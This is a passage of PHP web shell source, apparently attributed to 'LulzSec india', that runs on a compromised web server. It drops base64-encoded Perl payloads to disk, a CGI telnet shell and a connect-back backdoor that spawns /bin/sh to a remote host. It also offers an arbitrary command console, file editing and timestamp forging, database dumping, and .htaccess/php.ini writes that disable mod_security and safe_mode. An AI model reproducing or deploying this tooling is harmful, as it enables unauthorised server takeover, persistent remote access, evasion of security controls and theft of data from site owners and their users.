ByaW50IHRoZSB1cGxvYWQgZm9ybSBhZ2Fpbg0KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7DQoJCSZQcmludEZpbGVVcGxvYWRGb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCQlyZXR1cm47DQoJfQ0KCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCg0KCSMgc3RhcnQgdGhlIHVwbG9hZGluZyBwcm9jZXNzDQoJcHJpbnQgIlVwbG9hZGluZyAkVHJhbnNmZXJGaWxlIHRvICRDdXJyZW50RGlyLi4uPGJyPiI7DQoNCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkDQoJY2hvcCgkVGFyZ2V0TmFtZSkgaWYgKCRUYXJnZXROYW1lID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJJFRyYW5zZmVyRmlsZSA9fiBtIShbXi9eXFxdKikkITsNCgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsNCg0KCSRUYXJnZXRGaWxlU2l6ZSA9IGxlbmd0aCgkaW57J2ZpbGVkYXRhJ30pOw0KCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdA0KCWlmKC1lICRUYXJnZXROYW1lICYmICRPcHRpb25zIG5lICJvdmVyd3JpdGUiKQ0KCXsNCgkJcHJpbnQgIkZhaWxlZDogRGVzdGluYXRpb24gZmlsZSBhbHJlYWR5IGV4aXN0cy48YnI+IjsNCgl9DQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQNCgl7DQoJCWlmKG9wZW4oVVBMT0FERklMRSwgIj4kVGFyZ2V0TmFtZSIpKQ0KCQl7DQoJCQliaW5tb2RlKFVQTE9BREZJTEUpIGlmICRXaW5OVDsNCgkJCXByaW50IFVQTE9BREZJTEUgJGlueydmaWxlZGF0YSd9Ow0KCQkJY2xvc2UoVVBMT0FERklMRSk7DQoJCQlwcmludCAiVHJhbnNmZXJlZCAkVGFyZ2V0RmlsZVNpemUgQnl0ZXMuPGJyPiI7DQoJCQlwcmludCAiRmlsZSBQYXRoOiAkVGFyZ2V0TmFtZTxicj4iOw0KCQl9DQoJCWVsc2UNCgkJew0KCQkJcHJpbnQgIkZhaWxlZDogJCE8YnI+IjsNCgkJfQ0KCX0NCglwcmludCAiIjsNCgkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCg0KCSZQcmludFBhZ2VGb290ZXI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQ0KIyBmaWxlbmFtZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhDQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluaw0KIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBEb3dubG9hZEZpbGUNCnsNCgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgZG93bmxvYWQgZm9ybSBhZ2Fpbg0KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7DQoJCSZQcmludEZpbGVEb3dubG9hZEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJCXJldHVybjsNCgl9DQoJDQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfA0KCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUNCgl7DQoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsNCgl9DQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUNCgl7DQoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQoJfQ0KDQoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUNCgl7DQoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7DQoJfQ0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlDQoJew0KCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQomUmVhZFBhcnNlOw0KJkdldENvb2tpZXM7DQoNCiRTY3JpcHRMb2NhdGlvbiA9ICRFTlZ7J1NDUklQVF9OQU1FJ307DQokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307DQokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9Ow0KJFJ1bkNvbW1hbmQgPSAkaW57J2MnfTsNCiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsNCiRPcHRpb25zID0gJGlueydvJ307DQoNCiRBY3Rpb24gPSAkaW57J2EnfTsNCiRBY3Rpb24gPSAibG9naW4iIGlmKCRBY3Rpb24gZXEgIiIpOyAjIG5vIGFjdGlvbiBzcGVjaWZpZWQsIHVzZSBkZWZhdWx0DQoNCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQNCiRDdXJyZW50RGlyID0gJGlueydkJ307DQpjaG9wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7DQoNCiRMb2dnZWRJbiA9ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRQYXNzd29yZDsNCg0KaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pICMgdXNlciBuZWVkcy9oYXMgdG8gbG9naW4NCnsNCgkmUGVyZm9ybUxvZ2luOw0KDQp9DQplbHNpZigkQWN0aW9uIGVxICJjb21tYW5kIikgIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQNCnsNCgkmRXhlY3V0ZUNvbW1hbmQ7DQp9DQplbHNpZigkQWN0aW9uIGVxICJ1cGxvYWQiKSAjIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZQ0Kew0KCSZVcGxvYWRGaWxlOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAjIHVzZXIgd2FudHMgdG8gZG93bmxvYWQgYSBmaWxlDQp7DQoJJkRvd25sb2FkRmlsZTsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgImxvZ291dCIpICMgdXNlciB3YW50cyB0byBsb2dvdXQNCnsNCgkmUGVyZm9ybUxvZ291dDsNCn0=';
1539 $file = fopen("izo.cin", "w+");
1540 $write = fwrite($file, base64_decode($cgishellizocin));
1541 fclose($file);
1542 chmod("izo.cin", 0755);
1543 $netcatshell = 'IyEvdXNyL2Jpbi9wZXJsDQogICAgICB1c2UgU29ja2V0Ow0KICAgICAgcHJpbnQgIkRhdGEgQ2hh
1544MHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQogICAgICBpZiAoISRBUkdWWzBdKSB7DQog
1545ICAgICAgIHByaW50ZiAiVXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogICAgICAgIGV4aXQo
1546MSk7DQogICAgICB9DQogICAgICBwcmludCAiWypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KICAg
1547ICAgJGhvc3QgPSAkQVJHVlswXTsNCiAgICAgICRwb3J0ID0gODA7DQogICAgICBpZiAoJEFSR1Zb
1548MV0pIHsNCiAgICAgICAgJHBvcnQgPSAkQVJHVlsxXTsNCiAgICAgIH0NCiAgICAgIHByaW50ICJb
1549Kl0gQ29ubmVjdGluZy4uLlxuIjsNCiAgICAgICRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3An
1550KSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0KICAgICAgc29ja2V0KFNFUlZFUiwgUEZf
1551SU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCiAg
1552ICAgIG15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KICAgICAgaWYgKCFjb25uZWN0KFNF
1553UlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogICAgICAgIGRpZSgi
1554VW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBTcGF3bmlu
1555ZyBTaGVsbFxuIjsNCiAgICAgIGlmICghZm9yayggKSkgew0KICAgICAgICBvcGVuKFNURElOLCI+
1556JlNFUlZFUiIpOw0KICAgICAgICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgICAgICAgb3Bl
1557bihTVERFUlIsIj4mU0VSVkVSIik7DQogICAgICAgIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAu
1558ICJcMCIgeCA0Ow0KICAgICAgICBleGl0KDApOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBE
1559YXRhY2hlZFxuXG4iOw==';
1560 $file = fopen("dc.pl", "w+");
1561 $write = fwrite($file, base64_decode($netcatshell));
1562 fclose($file);
1563 chmod("dc.pl", 0755);
1564 echo "<iframe src=cgitelnet1/izo.cin width=100% height=100% frameborder=0></iframe> ";
1565 echo '</div>';
1566 printFooter();
1567 }
1568
1569function actionStringTools() {
1570 if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
1571 if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
1572 if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= dechex(ord($p[$i]));return strtoupper($r);}}
1573 if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
1574 if(isset($_POST['ajax'])) {
1575 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
1576 ob_start();
1577 if(function_exists($_POST['p1']))
1578 echo $_POST['p1']($_POST['p2']);
1579 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
1580 echo strlen($temp), "\n", $temp;
1581 exit;
1582 }
1583 printHeader();
1584 echo '<h1>String conversions</h1><div class=content>';
1585 $stringTools = array(
1586 'Base64 encode' => 'base64_encode',
1587 'Base64 decode' => 'base64_decode',
1588 'Url encode' => 'urlencode',
1589 'Url decode' => 'urldecode',
1590 'Full urlencode' => 'full_urlencode',
1591 'md5 hash' => 'md5',
1592 'sha1 hash' => 'sha1',
1593 'crypt' => 'crypt',
1594 'CRC32' => 'crc32',
1595 'ASCII to HEX' => 'ascii2hex',
1596 'HEX to ASCII' => 'hex2ascii',
1597 'HEX to DEC' => 'hexdec',
1598 'HEX to BIN' => 'hex2bin',
1599 'DEC to HEX' => 'dechex',
1600 'DEC to BIN' => 'decbin',
1601 'BIN to HEX' => 'bin2hex',
1602 'BIN to DEC' => 'bindec',
1603 'String to lower case' => 'strtolower',
1604 'String to upper case' => 'strtoupper',
1605 'Htmlspecialchars' => 'htmlspecialchars',
1606 'String length' => 'strlen',
1607 );
1608 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
1609 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
1610 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
1611 foreach($stringTools as $k => $v)
1612 echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
1613 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".htmlspecialchars(@$_POST['p2'])."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
1614 if(!empty($_POST['p1'])) {
1615 if(function_exists($_POST['p1']))
1616 echo htmlspecialchars($_POST['p1']($_POST['p2']));
1617 }
1618 echo"</pre></div>";
1619 printFooter();
1620}
1621function actionFilesTools() {
1622 if( isset($_POST['p1']) )
1623 $_POST['p1'] = urldecode($_POST['p1']);
1624 if(@$_POST['p2']=='download') {
1625 if(is_file($_POST['p1']) && is_readable($_POST['p1'])) {
1626 ob_start("ob_gzhandler", 4096);
1627 header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
1628 if (function_exists("mime_content_type")) {
1629 $type = @mime_content_type($_POST['p1']);
1630 header("Content-Type: ".$type);
1631 }
1632 $fp = @fopen($_POST['p1'], "r");
1633 if($fp) {
1634 while(!@feof($fp))
1635 echo @fread($fp, 1024);
1636 fclose($fp);
1637 }
1638 } elseif(is_dir($_POST['p1']) && is_readable($_POST['p1'])) {
1639 }
1640 exit;
1641 }
1642 if( @$_POST['p2'] == 'mkfile' ) {
1643 if(!file_exists($_POST['p1'])) {
1644 $fp = @fopen($_POST['p1'], 'w');
1645 if($fp) {
1646 $_POST['p2'] = "edit";
1647 fclose($fp);
1648 }
1649 }
1650 }
1651 printHeader();
1652 echo '<h1>File tools</h1><div class=content>';
1653 if( !file_exists(@$_POST['p1']) ) {
1654 echo 'File not exists';
1655 printFooter();
1656 return;
1657 }
1658 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
1659 $gid = @posix_getgrgid(@fileowner($_POST['p1']));
1660 echo '<span>Name:</span> '.htmlspecialchars($_POST['p1']).' <span>Size:</span> '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.viewPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
1661 echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
1662 if( empty($_POST['p2']) )
1663 $_POST['p2'] = 'view';
1664 if( is_file($_POST['p1']) )
1665 $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
1666 else
1667 $m = array('Chmod', 'Rename', 'Touch');
1668 foreach($m as $v)
1669 echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
1670 echo '<br><br>';
1671 switch($_POST['p2']) {
1672 case 'view':
1673 echo '<pre class=ml1>';
1674 $fp = @fopen($_POST['p1'], 'r');
1675 if($fp) {
1676 while( !@feof($fp) )
1677 echo htmlspecialchars(@fread($fp, 1024));
1678 @fclose($fp);
1679 }
1680 echo '</pre>';
1681 break;
1682 case 'highlight':
1683 if( is_readable($_POST['p1']) ) {
1684 echo '<div class=ml1 style="background-color: #000;color:black;">';
1685 $code = highlight_file($_POST['p1'],true);
1686 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
1687 }
1688 break;
1689 case 'chmod':
1690 if( !empty($_POST['p3']) ) {
1691 $perms = 0;
1692 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
1693 $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
1694 if(!@chmod($_POST['p1'], $perms))
1695 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
1696 else
1697 die('<script>g(null,null,null,null,"")</script>');
1698 }
1699 echo '<form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
1700 break;
1701 case 'edit':
1702 if( !is_writable($_POST['p1'])) {
1703 echo 'File isn\'t writeable';
1704 break;
1705 }
1706 if( !empty($_POST['p3']) ) {
1707 @file_put_contents($_POST['p1'],$_POST['p3']);
1708 echo 'Saved!<br><script>document.mf.p3.value="";</script>';
1709 }
1710 echo '<form onsubmit="g(null,null,null,null,this.text.value);return false;"><textarea name=text class=bigarea>';
1711 $fp = @fopen($_POST['p1'], 'r');
1712 if($fp) {
1713 while( !@feof($fp) )
1714 echo htmlspecialchars(@fread($fp, 1024));
1715 @fclose($fp);
1716 }
1717 echo '</textarea><input type=submit value=">>"></form>';
1718 break;
1719 case 'hexdump':
1720 $c = @file_get_contents($_POST['p1']);
1721 $n = 0;
1722 $h = array('00000000<br>','','');
1723 $len = strlen($c);
1724 for ($i=0; $i<$len; ++$i) {
1725 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
1726 switch ( ord($c[$i]) ) {
1727 case 0: $h[2] .= ' '; break;
1728 case 9: $h[2] .= ' '; break;
1729 case 10: $h[2] .= ' '; break;
1730 case 13: $h[2] .= ' '; break;
1731 default: $h[2] .= $c[$i]; break;
1732 }
1733 $n++;
1734 if ($n == 32) {
1735 $n = 0;
1736 if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
1737 $h[1] .= '<br>';
1738 $h[2] .= "\n";
1739 }
1740 }
1741 echo '<table cellspacing=1 cellpadding=5 bgcolor=#000><tr><td bgcolor=#000><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#000><pre>'.$h[1].'</pre></td><td bgcolor=#000><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
1742 break;
1743 case 'rename':
1744 if( !empty($_POST['p3']) ) {
1745 if(!@rename($_POST['p1'], $_POST['p3']))
1746 echo 'Can\'t rename!<br><script>document.mf.p3.value="";</script>';
1747 else
1748 die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
1749 }
1750 echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
1751 break;
1752 case 'touch':
1753 if( !empty($_POST['p3']) ) {
1754 $time = strtotime($_POST['p3']);
1755 if($time) {
1756 if(@touch($_POST['p1'],$time,$time))
1757 die('<script>g(null,null,null,null,"")</script>');
1758 else {
1759 echo 'Fail!<script>document.mf.p3.value="";</script>';
1760 }
1761 } else echo 'Bad time format!<script>document.mf.p3.value="";</script>';
1762 }
1763 echo '<form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
1764 break;
1765 case 'mkfile':
1766 break;
1767 }
1768 echo '</div>';
1769 printFooter();
1770}
1771function actionConsole() {
1772 if(isset($_POST['ajax'])) {
1773 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
1774 ob_start();
1775 echo "document.cf.cmd.value='';\n";
1776 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".ex($_POST['p1']),"\n\r\t\\'\0"));
1777 if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
1778 if(@chdir($match[1])) {
1779 $GLOBALS['cwd'] = @getcwd();
1780 echo "document.mf.c.value='".$GLOBALS['cwd']."';";
1781 }
1782 }
1783 echo "document.cf.output.value+='".$temp."';";
1784 echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
1785 $temp = ob_get_clean();
1786 echo strlen($temp), "\n", $temp;
1787 exit;
1788 }
1789 printHeader();
1790echo '<script>
1791if(window.Event) window.captureEvents(Event.KEYDOWN);
1792var cmds = new Array("");
1793var cur = 0;
1794function kp(e) {
1795 var n = (window.Event) ? e.which : e.keyCode;
1796 if(n == 38) {
1797 cur--;
1798 if(cur>=0)
1799 document.cf.cmd.value = cmds[cur];
1800 else
1801 cur++;
1802 } else if(n == 40) {
1803 cur++;
1804 if(cur < cmds.length)
1805 document.cf.cmd.value = cmds[cur];
1806 else
1807 cur--;
1808 }
1809}
1810function add(cmd) {
1811 cmds.pop();
1812 cmds.push(cmd);
1813 cmds.push("");
1814 cur = cmds.length-1;
1815}
1816</script>';
1817 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
1818 foreach($GLOBALS['aliases'] as $n => $v) {
1819 if($v == '') {
1820 echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
1821 continue;
1822 }
1823 echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
1824 }
1825 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
1826 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
1827 echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;" readonly>';
1828 if(!empty($_POST['p1'])) {
1829 echo htmlspecialchars("$ ".$_POST['p1']."\n".ex($_POST['p1']));
1830 }
1831 echo '</textarea><input type=text name=cmd style="border-top:0;width:100%;" onkeydown="kp(event);">';
1832 echo '</form></div><script>document.cf.cmd.focus();</script>';
1833 printFooter();
1834}
1835function actionLogout() {
1836 unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
1837 echo '<body bgcolor=#000000><center><img src="http://images.all-free-download.com/images/graphiclarge/abstract_indian_shiny_flag_black_tricolor_wave_6818267.jpg"><h1><font color="gray"> BYE BHAI <br><h2><font size="4">SHELL BY Mr. Po Panda <p><h2> LulzSec india <br><h2><font color="gray">HINDUSTAN<font color="#fff">ZINDABAD</h2><p><font color="BLUE" font size="4">WE ARE :<marquee width="80%"> LulzSec india </marquee></font></font></font></center></body>';
1838}
1839
1840function actionBypass() {
1841 printHeader();
1842 echo '<h1>Safe Mode</h1>';
1843 echo '<div class="content">';
1844 echo "<div class=header><center><h3><span>| SAFE MODE AND MOD SECURITY DISABLED AND PERL 500 INTERNAL ERROR BYPASS |</span></h3>Following php.ini and .htaccess(mod) and perl(.htaccess)[convert perl extention *.pl => *.sh ] files create in following dir<br>| ".$GLOBALS['cwd']." |<br><br />";
1845 echo '<a href=# onclick="g(null,null,\'php.ini\',null)">| PHP.INI | </a><a href=# onclick="g(null,null,null,\'ini\')">| .htaccess(Mod) | </a><a href=# onclick="g(null,null,null,null,\'sh\')">| .htaccess(perl) | </a></center>';
1846 if(!empty($_POST['p2']) && isset($_POST['p2']))
1847 {
1848 $fil=fopen($GLOBALS['cwd'].".htaccess","w");
1849 fwrite($fil,'<IfModule mod_security.c>
1850 Sec------Engine Off
1851 Sec------ScanPOST Off
1852 </IfModule>');
1853 fclose($fil);
1854 }
1855 if(!empty($_POST['p1'])&& isset($_POST['p1']))
1856 {
1857 $fil=fopen($GLOBALS['cwd']."php.ini","w");
1858 fwrite($fil,'safe_mode=OFF
1859 disable_functions=NONE');
1860 fclose($fil);
1861 }
1862 if(!empty($_POST['p3']) && isset($_POST['p3']))
1863 {
1864 $fil=fopen($GLOBALS['cwd'].".htaccess","w");
1865 fwrite($fil,'Options FollowSymLinks MultiViews Indexes ExecCGI
1866 AddType application/x-httpd-cgi .sh
1867 AddHandler cgi-script .pl
1868 AddHandler cgi-script .pl');
1869 fclose($fil);
1870 }
1871 echo "<br><br /><br /></div>";
1872 echo '</div>';
1873 printFooter();
1874}
1875
1876function actionSql() {
1877 class DbClass {
1878 var $type;
1879 var $link;
1880 var $res;
1881 function DbClass($type) {
1882 $this->type = $type;
1883 }
1884 function connect($host, $user, $pass, $dbname){
1885 switch($this->type) {
1886 case 'mysql':
1887 if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
1888 break;
1889 case 'pgsql':
1890 $host = explode(':', $host);
1891 if(!$host[1]) $host[1]=5432;
1892 if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
1893 break;
1894 }
1895 return false;
1896 }
1897 function selectdb($db) {
1898 switch($this->type) {
1899 case 'mysql':
1900 if (@mysql_select_db($db))return true;
1901 break;
1902 }
1903 return false;
1904 }
1905 function query($str) {
1906 switch($this->type) {
1907 case 'mysql':
1908 return $this->res = @mysql_query($str);
1909 break;
1910 case 'pgsql':
1911 return $this->res = @pg_query($this->link,$str);
1912 break;
1913 }
1914 return false;
1915 }
1916 function fetch() {
1917 $res = func_num_args()?func_get_arg(0):$this->res;
1918 switch($this->type) {
1919 case 'mysql':
1920 return @mysql_fetch_assoc($res);
1921 break;
1922 case 'pgsql':
1923 return @pg_fetch_assoc($res);
1924 break;
1925 }
1926 return false;
1927 }
1928 function listDbs() {
1929 switch($this->type) {
1930 case 'mysql':
1931 return $this->res = @mysql_list_dbs($this->link);
1932 break;
1933 case 'pgsql':
1934 return $this->res = $this->query("SELECT datname FROM pg_database");
1935 break;
1936 }
1937 return false;
1938 }
1939 function listTables() {
1940 switch($this->type) {
1941 case 'mysql':
1942 return $this->res = $this->query('SHOW TABLES');
1943 break;
1944 case 'pgsql':
1945 return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_user'");
1946 break;
1947 }
1948 return false;
1949 }
1950 function error() {
1951 switch($this->type) {
1952 case 'mysql':
1953 return @mysql_error($this->link);
1954 break;
1955 case 'pgsql':
1956 return @pg_last_error($this->link);
1957 break;
1958 }
1959 return false;
1960 }
1961 function setCharset($str) {
1962 switch($this->type) {
1963 case 'mysql':
1964 if(function_exists('mysql_set_charset'))
1965 return @mysql_set_charset($str, $this->link);
1966 else
1967 $this->query('SET CHARSET '.$str);
1968 break;
1969 case 'mysql':
1970 return @pg_set_client_encoding($this->link, $str);
1971 break;
1972 }
1973 return false;
1974 }
1975 function dump($table) {
1976 switch($this->type) {
1977 case 'mysql':
1978 $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
1979 $create = mysql_fetch_array($res);
1980 echo $create[1].";\n\n";
1981 $this->query('SELECT * FROM `'.$table.'`');
1982 while($item = $this->fetch()) {
1983 $columns = array();
1984 foreach($item as $k=>$v) {
1985 $item[$k] = "'".@mysql_real_escape_string($v)."'";
1986 $columns[] = "`".$k."`";
1987 }
1988 echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1989 }
1990 break;
1991 case 'pgsql':
1992 $this->query('SELECT * FROM '.$table);
1993 while($item = $this->fetch()) {
1994 $columns = array();
1995 foreach($item as $k=>$v) {
1996 $item[$k] = "'".addslashes($v)."'";
1997 $columns[] = $k;
1998 }
1999 echo 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
2000 }
2001 break;
2002 }
2003 return false;
2004 }
2005 };
2006 $db = new DbClass(@$_POST['type']);
2007 if(@$_POST['p2']=='download') {
2008 ob_start("ob_gzhandler", 4096);
2009 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
2010 $db->selectdb($_POST['sql_base']);
2011 header("Content-Disposition: attachment; filename=dump.sql");
2012 header("Content-Type: text/plain");
2013 foreach($_POST['tbl'] as $v)
2014 $db->dump($v);
2015 exit;
2016 }
2017 printHeader();
